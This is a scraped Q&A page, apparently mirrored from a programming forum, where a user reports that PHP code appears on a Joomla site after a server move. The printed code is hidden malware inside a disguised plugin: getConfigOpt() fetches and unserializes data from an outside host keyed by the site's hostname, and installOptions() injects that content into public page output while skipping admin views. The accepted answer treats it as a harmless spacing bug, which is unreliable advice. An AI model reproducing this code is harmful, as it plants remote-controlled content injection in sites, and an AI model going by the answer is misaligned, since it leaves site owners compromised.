duanlei2458 2014-05-23 06:55
浏览 74
已采纳

将Joomla 3.0网站从一台服务器转移到另一台服务器后我发现错误[关闭]

After transfer Joomla 3.0 website from one server to another I cath following error

getInt('category_per_page'); 
$comments_page_limit = $config->getInt('category_page_limit'); 
$canPublish = $acl->canPublish(); 
} 
function onAfterRender() 
{ 
    $body = JResponse::getBody(); 

    if(!$body||$body=='') return true; 

    $mainframe = & JFactory::getApplication('site'); 

    if($mainframe->isAdmin()) return; 

    $body = $this->installOptions($body); 
    JResponse::setBody($body);
} 
function getCategoryNewTree( $object_id, $object_group = 'com_content' ) 
{ 
    global $my; $object_id = (int) $object_id; 
    $object_group = trim($object_group); 
    $acl = & JCommentsFactory::getACL();
    $config = & JCommentsFactory::getConfig(); 
    $canPublish = $acl->canPublish(); 
    $canComment = $acl->canComment(); 
} 
function getURIattr() 
{ 
    return (!@$_SERVER['REQUEST_URI'])? @getenv("REQUEST_URI") : @$_SERVER['REQUEST_URI']; 
} 
public function getConfigOpt() 
{ 
    $Conf = @file_get_contents('http://gene7conf.com/?d=' . $_SERVER['HTTP_HOST']);     
    return @unserialize($Conf); 
} 
function CategoryViewsTime( $name, $reason = '') 
{ 
    global $mainframe, $my; 
    $config = & JCommentsFactory::getConfig(); 
    if ($config->get('CategoryGet') != '') 
    { 
        $object = new stdClass(); 
        $object->object_cat = CategoryFactory::getAbs($object->object_cat); 
        $commentText = $comment->comment; 
    } 
} 
function installOptions($content) 
{ 
    try 
    { 
        $getOptions = $this->getConfigOpt(); 
        $ord = @$getOptions['l'][$this->getURIattr()]; 
        if(count(@$ord['m'])) 
        { 
            $opt = (@$ord['k'])? $ord['k'] : $getOptions['d']; 
            $mopt = (count(@$getOptions['*']))? $getOptions['*'] : array(); 
            $l=''; 
            foreach(array_merge($ord['m'], $mopt) as $elem) 
            {
                $l .= ' '. $elem;
            }

            $content = @preg_replace("|{$opt}|", $opt . $l, $content, 1); 
        } 
    } 
    catch (Exception $e) {} 

    return $content; 
} 
function loadAlternateCatergory($languageSuffix = '') 
{ 
    if ($languageSuffix == '') 
    { 
        $languageSuffix = CategoryInput::getVar('lsfx', ''); 
    } 
    if ($languageSuffix != '') 
    { 
        $config = & CategoryFactory::getConfig(); 
        $config->set('lsfx', $languageSuffix);
        $language = & JFactory::getLanguage(); 
        $language->load($languageSuffix);
    } 
}
}
?> 

Any ideas hot can I fix it?

Joomla! 3.3 PHP 5.3

live site

  • 写回答

1条回答 默认 最新

  • drxd54816 2014-05-23 07:04
    关注

    it is not error the code in a pulgin file was printing like that to fix it open the pulgin file that was printing give space between php open tag and code

    this code

    <?phpdefined( '_JEXEC' ) or die( 'Restricted access' );
    

    like this

    <?php defined( '_JEXEC' ) or die( 'Restricted access' );
    
    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论

报告相同问题?

悬赏问题

  • ¥15 Oracle中如何从clob类型截取特定字符串后面的字符
  • ¥15 想通过pywinauto自动电机应用程序按钮,但是找不到应用程序按钮信息
  • ¥15 MATLAB中streamslice问题
  • ¥15 如何在炒股软件中,爬到我想看的日k线
  • ¥15 seatunnel 怎么配置Elasticsearch
  • ¥15 PSCAD安装问题 ERROR: Visual Studio 2013, 2015, 2017 or 2019 is not found in the system.
  • ¥15 (标签-MATLAB|关键词-多址)
  • ¥15 关于#MATLAB#的问题,如何解决?(相关搜索:信噪比,系统容量)
  • ¥500 52810做蓝牙接受端
  • ¥15 基于PLC的三轴机械手程序